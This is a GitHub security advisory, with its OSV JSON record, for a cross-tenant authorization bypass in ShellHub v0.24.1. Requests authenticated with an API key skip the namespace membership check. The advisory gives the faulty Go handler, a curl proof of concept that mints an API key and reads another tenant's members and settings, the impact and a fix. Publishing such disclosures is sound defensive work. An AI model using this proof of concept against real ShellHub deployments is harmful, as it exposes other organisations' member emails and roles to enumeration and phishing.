GHSA-VWX9-7QCF-GG7F
Vulnerability from github – Published: 2026-05-07 03:02 – Updated: 2026-05-14 20:43Summary
GET /api/namespaces/:tenant returns the full namespace object — including the members list (user IDs, e-mails, roles), settings, and device counts — to any caller authenticated by an API Key, for any tenant, regardless of the API Key's own tenant scope.
The handler conditionally skips the membership check when the user ID (X-ID) is absent, which is exactly the case for API Key authentication.
Affected versions
ShellHub Community v0.24.1 (validated).
Root cause
api/routes/nsadm.go:75-102 — membership check is skipped when c.ID() is nil:
```go var uid string if c.ID() != nil { uid = c.ID().ID }
ns, err := h.service.GetNamespace(c.Ctx(), req.Tenant) if err != nil || ns == nil { return c.NoContent(http.StatusNotFound) }
if uid != "" { // ⚠️ skipped when API Key is used if _, ok := ns.FindMember(uid); !ok { return c.NoContent(http.StatusForbidden) } }
return c.JSON(http.StatusOK, ns) ```
AuthRequest (api/routes/auth.go:53-64) sets only X-Tenant-ID, X-Role,
and X-API-KEY for API Key authentication — never X-ID. So
c.Request().Header.Get("X-ID") returns "", c.ID() returns nil, and
the membership check is bypassed.
Proof of concept (validated live against v0.24.1)
```bash # Attacker authenticates in their own namespace and mints an API Key ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \ -H 'Content-Type: application/json' \ -d '{"username":"attacker","password":"..."}' | jq -r .token)
ATTACKER_KEY=$(curl -s -X POST http://target/api/namespaces/api-key \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"poc","expires_at":30}' | jq -r .id)
# Baseline: same request with JWT is correctly blocked curl -i http://target/api/namespaces/ \ -H "Authorization: Bearer $ATTACKER_TOKEN" # Observed: HTTP 403 (correct)
# Exploit: same request with API Key returns full namespace curl -i http://target/api/namespaces/ \ -H "X-API-Key: $ATTACKER_KEY" # Observed: HTTP 200 + {name, owner, tenant_id, members:[{id,email,role,added_at},...], # settings, max_devices, devices_accepted_count, type, created_at} ```
Impact
- Enumeration of any ShellHub namespace by tenant UUID.
- Disclosure of member e-mails, user IDs, and roles → user enumeration and targeted phishing against the victim organization.
- Disclosure of namespace settings (session recording on/off, announcement text), device counts, namespace type, owner identity.
Suggested fix
Two layers:
-
Primary — enforce caller-tenant match before returning the namespace, covering both JWT and API Key callers:
go // nsadm.go GetNamespace if c.Tenant() != nil && c.Tenant().ID != req.Tenant { return c.NoContent(http.StatusForbidden) }
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.24.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/shellhub-io/shellhub"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.24.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44426"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T03:02:28Z",
"nvd_published_at": "2026-05-13T22:16:44Z",
"severity": "MODERATE"
},
"details": "## Summary\n`GET /api/namespaces/:tenant` returns the full namespace object \u2014 including the members list (user IDs, e-mails, roles), settings, and device counts \u2014 to any caller authenticated by an **API Key**, for any tenant, regardless of the API Key\u0027s own tenant scope.\n\nThe handler conditionally skips the membership check when the user ID (`X-ID`) is absent, which is exactly the case for API Key authentication.\n\n## Affected versions\nShellHub Community v0.24.1 (validated).\n\n## Root cause\n`api/routes/nsadm.go:75-102` \u2014 membership check is skipped when `c.ID()` is nil:\n\n ```go\n var uid string\n if c.ID() != nil {\n uid = c.ID().ID\n }\n\n ns, err := h.service.GetNamespace(c.Ctx(), req.Tenant)\n if err != nil || ns == nil {\n return c.NoContent(http.StatusNotFound)\n }\n\n if uid != \"\" { // \u26a0\ufe0f skipped when API Key is used\n if _, ok := ns.FindMember(uid); !ok {\n return c.NoContent(http.StatusForbidden)\n }\n }\n\n return c.JSON(http.StatusOK, ns)\n ```\n\n `AuthRequest` (`api/routes/auth.go:53-64`) sets only `X-Tenant-ID`, `X-Role`,\n and `X-API-KEY` for API Key authentication \u2014 never `X-ID`. So\n `c.Request().Header.Get(\"X-ID\")` returns `\"\"`, `c.ID()` returns `nil`, and\n the membership check is bypassed.\n\n## Proof of concept (validated live against v0.24.1)\n\n ```bash\n # Attacker authenticates in their own namespace and mints an API Key\n ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"username\":\"attacker\",\"password\":\"...\"}\u0027 | jq -r .token)\n\n ATTACKER_KEY=$(curl -s -X POST http://target/api/namespaces/api-key \\\n -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"name\":\"poc\",\"expires_at\":30}\u0027 | jq -r .id)\n\n # Baseline: same request with JWT is correctly blocked\n curl -i http://target/api/namespaces/\u003cvictim-tenant-uuid\u003e \\\n -H \"Authorization: Bearer $ATTACKER_TOKEN\"\n # Observed: HTTP 403 (correct)\n\n # Exploit: same request with API Key returns full namespace\n curl -i http://target/api/namespaces/\u003cvictim-tenant-uuid\u003e \\\n -H \"X-API-Key: $ATTACKER_KEY\"\n # Observed: HTTP 200 + {name, owner, tenant_id, members:[{id,email,role,added_at},...],\n # settings, max_devices, devices_accepted_count, type, created_at}\n ```\n\n## Impact\n - Enumeration of any ShellHub namespace by tenant UUID.\n - Disclosure of member e-mails, user IDs, and roles \u2192 user enumeration and targeted phishing against the victim organization.\n - Disclosure of namespace settings (session recording on/off, announcement text), device counts, namespace type, owner identity.\n\n## Suggested fix\nTwo layers:\n\n 1. **Primary** \u2014 enforce caller-tenant match before returning the namespace, covering both JWT and API Key callers:\n\n ```go\n // nsadm.go GetNamespace\n if c.Tenant() != nil \u0026\u0026 c.Tenant().ID != req.Tenant {\n return c.NoContent(http.StatusForbidden)\n }\n ```",
"id": "GHSA-vwx9-7qcf-gg7f",
"modified": "2026-05-14T20:43:26Z",
"published": "2026-05-07T03:02:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/shellhub-io/shellhub/security/advisories/GHSA-vwx9-7qcf-gg7f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44426"
},
{
"type": "PACKAGE",
"url": "https://github.com/shellhub-io/shellhub"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "ShellHub has cross-tenant IDOR in `GET /api/namespaces/:tenant` via API Key bypasses membership check"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.